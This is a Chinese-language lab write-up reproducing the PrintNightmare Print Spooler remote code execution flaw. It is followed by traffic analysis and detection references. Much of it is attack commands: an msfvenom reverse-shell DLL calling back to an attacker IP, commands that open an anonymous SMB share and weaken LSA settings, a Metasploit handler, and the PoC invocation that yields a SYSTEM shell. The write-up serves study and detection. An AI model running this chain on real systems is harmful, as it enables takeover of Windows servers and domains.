Windows Printer Spooler远程代码执行漏洞(PrintNightmare)复现
此漏洞一开始为CVE-2021-1675，随后微软把此漏洞分配给了CVE-2021-34527,并提到了两个漏洞很像，但是攻击向量是不同的。详见: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527。经过我测试，将cve-2021-1675更新补丁打上，攻击poc仍然有效，说明该漏洞还是属于CVE-2021-34527。该漏洞为低权限的用户使用RpcAddPrinterDriverEx()函数加载恶意的打印机驱动文件，从而导致的命令执行。0x01 复现环境windows server 2019 datacenter:漏洞主机kali:攻击机windosw 10:提供匿名smb文件共享攻击脚本: https://github.com/cube0x0/CVE-2021-16750x02 msf生成反弹shell dllmsfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=6666 -f dll > reverse.dll 0x03 win10机器设置匿名smb共享在win10机器上利用powershell输入以下命令，主要是新建C:share目录，并开放匿名用户访问并读取文件。mkdir C:\share icacls C:\share\ /T /grant Anonymous` logon:r icacls C:\share\ /T /grant Everyone:r New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone' REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f # Reboot设置完成后，将生成的reverse.dll上传上去。这里可以用kali自带的smbclient工具验证是否能匿名下载:smbclient \\\\192.168.1.127\\share Enter WORKGROUP\coco's password: Anonymous login successful smb: \> get reverse.dll如果能匿名访问，并且顺利把reverse.dll下载到本地，则说明设置正确。0x04 更新impacket工具该POC作者说明需要更新impacket工具成自己的版本pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install0x05 msf监听端口msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.1.120 msf6 exploit(multi/handler) > set lport 6666 msf6 exploit(multi/handler) > run0x06 运行POC这里注意运行poc脚本时调用的impacket工具是该poc作者的版本，如果电脑有多个版本的python，用./CVE-2021-1675.py的方式启动可能会有问题，因为./启动的是脚本/usr/bin/python3路径的python，如果当前环境变量的python3不是那个，就会有问题，所以建议用python3启动该脚本。python3 CVE-2021-1675.py spooltest/testuser:Pass123@192.168.1.197 '\\192.168.1.127\share\reverse.dll'运行完poc，msf就收到了一个system权限的反弹shell。0x07 流量分析由于脚本使用impacket工具优先使用smb3加密通讯，后面的流量不利于分析，所以将受害机的smb3/smb2禁用。Set-SmbServerConfiguration -EnableSMB2Protocol $false同时在服务器功能中安装smb1.0，因为smb1.0默认在windows server 2019中未安装。根据代码和流量分析，主要有以下几个阶段：1、以域内普通用户身份（用户名密码或用户哈希）通过smb认证2、建立IPC$管道，使用rpc连接spoolss3、列出目标的PrinterDrivers，找到打印机驱动程序unidrv.dll的路径4、使用AddPrinterDriverEx的方式添加恶意dll,其中将APD_INSTALL_WARNED_DRIVER设置为0x00008000绕过服务端校验添加打印机驱动程序5、将原有C:\Windows\System32\spool\drivers\x64\3目录下的unidrv.dll、kernelbase.dll、原始的驱动程序dll备份到C:\Windows\System32\spool\drivers\x64\3\old目录下0x08 检测对于该漏洞的检测，可以从进程行为（Rundll32.exe），windows日志，文件变动等方面考虑，互联网上已经有很好的文章了。可以参考：I Pity the Spool: Detecting PrintNightmare CVE-2021-34527和CVE-2021-1675 打印机漏洞沦陷域控的补充。参考资料：https://github.com/afwu/PrintNightmarehttps://xlab.tencent.com/cn/2021/06/21/xlab-21-001/https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b